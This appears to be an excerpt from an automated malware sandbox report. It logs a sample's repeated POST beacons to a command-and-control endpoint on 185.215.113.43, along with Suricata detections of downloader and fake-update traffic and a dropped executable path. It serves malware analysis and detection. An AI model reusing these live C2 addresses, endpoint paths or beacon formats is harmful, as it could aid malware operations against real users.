Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 172.67.155.248 172.67.155.248

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49760 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49798 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49818 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49819 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49825 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49842 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49835 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49867 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49883 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49872 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49895 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49906 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49924 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49951 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49973 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49981 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49938 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49989 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49996 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50006 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50018 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50029 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50056 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50074 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50087 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50094 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50282 -> 20.50.80.209:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00FACE44 InternetReadFile,SetEvent,GetLastError,SetEvent,

10_2_00FACE44

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ZGkWDSgVUswXLA9&MD=gO2EpeLL HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ZGkWDSgVUswXLA9&MD=gO2EpeLL HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
